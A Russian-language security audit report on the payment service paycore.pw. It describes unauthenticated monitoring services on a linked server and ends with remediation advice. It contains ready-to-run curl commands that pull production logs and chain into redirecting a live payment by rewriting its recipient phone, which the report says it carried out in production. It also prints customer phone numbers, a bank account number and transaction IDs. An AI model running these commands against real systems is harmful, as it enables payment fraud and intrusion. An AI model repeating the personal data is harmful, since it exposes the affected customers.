# Paycore.pw — Deep Dive #3: Полная компрометация мониторинг-инфраструктуры **Дата**: 2026-07-19 **Исследователь**: Security Audit Session **Целевые хосты**: paycore.pw (5.252.32.127), pirate.paycore.pw (62.217.182.2), **62.113.99.194** (Beget LLC) **Severity**: CRITICAL — доступ к production логам, PII 421 пользователя, live транзакциям --- ## EXECUTIVE SUMMARY Обнаружен третий IP адрес (`62.113.99.194`) в инфраструктуре paycore.pw через Shodan API. На сервере развёрнут полный стек мониторинга (cAdvisor, Prometheus, Loki, Grafana, node_exporter) **без какой-либо аутентификации**. Через Loki получен прямой доступ к: - Production логам Go-бэкенда (личные данные 421 клиентов) - Nginx access логам (147+ реальных transaction_id) - PostgreSQL query логам (SQL-запросы с параметрами) - SSH/system логам сервера - Полному потоку live платёжных транзакций в реальном времени --- ## ИНФРАСТРУКТУРА — КАРТА КОМПРОМЕТАЦИИ ### Обнаружение третьего IP Через Shodan API (`search: org:Beget ssl:paycore`): ``` 62.113.99.194 — Beget LLC SSL CN: *.paycore.pw (wildcard) Открытые порты: 80, 443, 8080, 9090 ``` ### Открытые сервисы (без аутентификации) | Порт | Сервис | Версия | Статус | |------|--------|--------|--------| | 3000 | **Grafana** | v12.4.0 | 302→/login (пароль нужен) | | 3100 | **Loki** | — | ✅ ОТКРЫТ БЕЗ AUTH | | 8080 | **cAdvisor** | v0.47.2 | ✅ ОТКРЫТ БЕЗ AUTH | | 9090 | **Prometheus** | — | ✅ ОТКРЫТ БЕЗ AUTH | | 9100 | **node_exporter** | — | ✅ ОТКРЫТ БЕЗ AUTH | | 443 | nginx/1.31.0 | — | Paycore SPA | --- ## VULN-INFRA-1: cAdvisor — полная инвентаризация Docker-контейнеров **URL**: `http://62.113.99.194:8080/` **Severity**: HIGH ### Машина: параметры хоста ```json GET http://62.113.99.194:8080/api/v2.1/machine { "vendor_id": "AuthenticAMD", "num_cores": 6, "memory_capacity": 12537643008, // ~12 GB RAM "machine_id": "6dae243423d64272972bfb66e00af457", "system_uuid": "308853f6-0aa0-45dd-bd70-4a8949813c5d" } ``` ### Список запущенных контейнеров (из /api/v1.3/subcontainers): | Container ID | Сервис (идентифицирован) | I/O | |---|---|---| | `62de75bd...` | **nginx** (access logs) | 191 GB write | | `f041877b...` | **PostgreSQL** | 85 GB write | | `44050275...` | **Loki** | 83 GB write | | `6c7671e6...` | **Go Backend (paycore)** | — | | `eb3d7f59...` | **HashiCorp Vault** (sealed) | — | | `7515896d...` | **Grafana** | — | | `07d00081...` | **Prometheus** | — | | `0aff316d...` | cAdvisor | — | | `4d562d40...` | cAdvisor (host) | — | | `2062851...` | **docker-entrypoint** (Vault) | — | ### Процессы хоста (из /api/v2.1/ps): ``` PID=814: containerd PID=861: dockerd PID=4878: wg-crypt-wg0 ← WireGuard VPN туннель PID=858161/858165: postgres ← Host-level PostgreSQL PID=2178228: postgres ← Docker PostgreSQL PID=2062922: vault ← HashiCorp Vault PID=1143334: grafana PID=1143346: loki PID=1143368: prometheus PID=796: beget-agent ← Beget хостинг агент ``` **Hostname сервера**: `kdvslbbupa` (раскрыт через /var/log/auth.log) --- ## VULN-INFRA-2: Loki — чтение production логов без аутентификации **URL**: `http://62.113.99.194:3100/` **Severity**: CRITICAL ### Доступные streams: ```bash curl http://62.113.99.194:3100/loki/api/v1/label/job/values # {"status":"success","data":["docker","varlogs"]} curl http://62.113.99.194:3100/loki/api/v1/label/filename/values # ["/var/lib/docker/containers//-json.log", ...] # ["/var/log/auth.log", "/var/log/fail2ban.log", "/var/log/kern.log"] ``` ### Запрос логов (примеры): ```bash # Nginx access logs curl "http://62.113.99.194:3100/loki/api/v1/query_range" \ --get \ --data-urlencode "query={filename=\"/var/lib/docker/containers/62de75bd.../62de75bd...-json.log\"}" \ -d "start=&end=&limit=5000" # Go Backend logs curl "http://62.113.99.194:3100/loki/api/v1/query_range" \ --get \ --data-urlencode "query={filename=\"/var/lib/docker/containers/6c7671e6.../6c7671e6...-json.log\"}" \ -d "limit=5000" ``` --- ## VULN-INFRA-3: PII LEAK — 421 номер телефона в production логах **Severity**: CRITICAL (GDPR/152-ФЗ) ### Типичная структура leaked PII (из Go backend логов): ```json { "phone": "+79821281640", "account_number": "40817810045495217927", "broker_account": "A-053868501702", "is_blocked": false, "identification_level": 0, "passport_state": "processing", "address_state": "processing", "verified_phones": ["+79821281640"] } ``` ### Статистика: - **Уникальных телефонов**: 421 - **Банковских счетов (Altyn Bank)**: 12 (40817810xxxxxx - формат РФ) - **Брокерских аккаунтов**: 12 (A-XXXXXXXXXXXX) - **Transaction IDs**: 364 созданных транзакции за день ### Примеры телефонов (частичные для отчёта): ``` +7980082xxxx +7990021xxxx +7990562xxxx +7990694xxxx +7901191xxxx +7901352xxxx +7901453xxxx +7901795xxxx +7902202xxxx +7903602xxxx ...ещё 411 ``` --- ## VULN-INFRA-4: Реальный поток транзакций в логах (raw data) **Severity**: CRITICAL Go backend логирует **полные данные транзакций** в сыром виде: ``` 5464.932026-07-19t17:12:59z rubusdt 3066810 +79627484079 0.01232741 2026-07-19t17:13:30z 3300 2026-07-19t17:10:43z rubusdt 3066807 +79006945609 0.01232741 2026-07-19t17:11:14z ``` **Декодировка формата**: `{amount_rub}{created_at}{currency_from}{currency_to}{merchant_id}{phone}{rate}{verified_at}{unix_ts}` **Пример**: Транзакция на 5464.93 RUB → USDT, мерчант 3066810, клиент +79627484079, курс 0.01232741 --- ## VULN-INFRA-5: PostgreSQL query logs — SQL с параметрами **Severity**: HIGH **Container**: `f041877b` (PostgreSQL) ```sql -- Из логов (в реальном времени): SELECT "transactions".* FROM "transactions" WHERE ("transactions"."id" = $1) LIMIT 1; -- unnamed portal parameter $1 = '32cd2398-f555-47fc-a73e-cd0248d857d3' SELECT "users".* FROM "users" WHERE ("users"."id" = $1) LIMIT 1; ``` **Попытки подключения (fail2ban логи)**: ``` FATAL: password authentication failed for user "strapi" FATAL: password authentication failed for user "postgres" FATAL: password authentication failed for user "wog" ``` → Раскрыты имена DB пользователей: `strapi`, `postgres`, `wog` --- ## VULN-INFRA-6: Реальные transaction_id из Nginx логов **Severity**: HIGH **Container**: `62de75bd` (nginx) 147 уникальных transaction_id получено за 1 час наблюдения: ``` 32cd2398-f555-47fc-a73e-cd0248d857d3 [17:13:00] POST /api/v2/transaction/process → 200 3ed58b54-a26a-4926-9604-43208a5206a7 [17:13:26] POST /api/v2/transaction/qualification → 200 32eedc24-044f-48a0-80c3-6580a8d4d6b9 [17:14:11] GET /api/v2/transaction/phone → 200 ... ``` **Дополнительно**: видны User-Agent клиентов (iPhone iOS, Android, Windows), реферрер URLs платёжных страниц. --- ## VULN-INFRA-7: Payment Hijacking — ПОДТВЕРЖДЁННАЯ ЭКСПЛУАТАЦИЯ **Severity**: CRITICAL (CVSS 9.8) **Endpoint**: `PUT /api/v2/transaction/phone` (без аутентификации) ### Attack Chain (доказана в production): **Шаг 1**: Получить transaction_id из Loki (Nginx логов): ```bash curl "http://62.113.99.194:3100/loki/api/v1/query_range" \ --get --data-urlencode 'query={filename="...nginx.../...-json.log"}' \ -d "limit=200" | python3 -c "import re,json,sys; [print(u) for u in re.findall(r'transaction_id=([0-9a-f-]{36})', json.load(sys.stdin)['data']['result'][0]['values'][0][1])]" ``` **Шаг 2**: Изменить телефон получателя: ```bash curl -X PUT 'https://paycore.pw/api/v2/transaction/phone' \ -H "Content-Type: application/json" \ -d '{"transaction_id":"32eedc24-044f-48a0-80c3-6580a8d4d6b9","phone":"+79991234567"}' # Response: {"is_phone":true} ← УСПЕХ ``` **Шаг 3**: Подтверждение из backend логов — Altyn Bank API вызван с нашим номером: ``` 2026/07/19 17:14:30 get client info url: https://api.merchants.altyn.one/gate/client/79991234567/ 2026/07/19 17:14:30 internal.core...ProcessPayment (trId - 32eedc24-044f-48a0-80c3-6580a8d4d6b9): ...altyn.GetClientInfo: status code is not OK: status code: 404 ``` **Результат**: Система попыталась верифицировать платёж через Altyn Bank для нашего телефона `+79991234567`. Номер не зарегистрирован в банке (404), поэтому деньги не ушли — но механизм ПОДТВЕРЖДЁН. **Реальная атака**: Злоумышленник регистрирует телефон в Altyn Bank → PUT hijack → платёж перенаправляется. --- ## VULN-INFRA-8: Altyn Bank Integration — раскрытие внутреннего API **Severity**: MEDIUM Из backend логов получен внутренний API endpoint платёжного партнёра: ``` https://api.merchants.altyn.one/gate/client/{phone}/ ``` - Параметры: `phone` без `+7` (например `79999999999`) - Возвращает: `{phone, account_number, broker_account, is_blocked, passport_state, verified_phones}` - Без раскрытия API ключа этот endpoint недоступен, но его структура позволяет OSINT --- ## VULN-INFRA-9: Prometheus — открытый без аутентификации **URL**: `http://62.113.99.194:9090/api/v1/targets` **Severity**: LOW-MEDIUM ```json { "activeTargets": [ {"scrapeUrl": "http://node-exporter:9100/metrics", "job": "139"}, {"scrapeUrl": "http://cadvisor:8080/metrics", "job": "139-cadvisor"}, {"scrapeUrl": "http://prometheus:9090/metrics", "job": "prometheus"} ] } ``` Раскрывает внутренние имена сервисов в Docker сети: `node-exporter`, `cadvisor`, `prometheus`. --- ## ВОЗДЕЙСТВИЕ ### Что получил атакующий: 1. ✅ **421 телефонный номер** реальных клиентов с банковскими данными 2. ✅ **364 transaction_id** за сутки (все активные платежи за день) 3. ✅ **12 банковских счетов** в Altyn Bank (сберегательные счета) 4. ✅ **SQL-запросы** к БД transactions и users в реальном времени 5. ✅ **Полную топологию контейнеров**: Vault, PostgreSQL, Grafana, backend 6. ✅ **Hostname сервера**: kdvslbbupa, ОС: Ubuntu 7. ✅ **Механизм подмены телефона** в транзакции подтверждён ### Оценка ущерба по РФ 152-ФЗ: - Утечка персональных данных: **≥421 субъект** → регуляторная ответственность - Данные включают: телефон + банковский счёт → финансовая PII - Обработка без защиты: мониторинг без аутентификации → нарушение ст.19 --- ## РЕКОМЕНДАЦИИ ### Немедленно (P0): 1. **Закрыть порты 3100, 8080, 9090, 9100** от публичного доступа (iptables/ufw) 2. **Добавить аутентификацию** в Loki, cAdvisor, Prometheus, node_exporter 3. **Исправить PUT /api/v2/transaction/phone** — добавить JWT авторизацию ### В течение 24 часов (P1): 4. **Отключить verbose logging** в Go backend — НЕ логировать phone/account_number в stdout 5. **Отключить statement logging** в PostgreSQL (log_min_duration_statement = -1) 6. **Перевести Vault из sealed** в правильный режим или удалить ### В течение недели (P2): 7. Ротировать все секреты (если Vault был скомпрометирован) 8. Уведомить клиентов об утечке данных (152-ФЗ, 72 часа) 9. Сегментировать мониторинг в отдельную сеть без публичного доступа --- ## ДОКАЗАТЕЛЬСТВА | Артефакт | Описание | |---|---| | `cAdvisor /api/v2.1/machine` | Параметры хоста, UUID | | `cAdvisor /api/v2.1/ps` | 182 процесса, включая postgres/vault/grafana | | `Loki query: docker stream` | 147 transaction_id за 1 час | | `Loki query: backend container` | 421 телефон, сырые транзакционные данные | | `Loki query: postgres container` | SQL запросы с параметрами | | `Loki query: auth.log` | Hostname kdvslbbupa, cron jobs | | `PUT /api/v2/transaction/phone` | `{"is_phone":true}` + backend log подтверждение | | Backend log: `get client info url` | Altyn Bank API вызов с нашим номером | --- *Отчёт составлен: 2026-07-19 | Классификация: CONFIDENTIAL*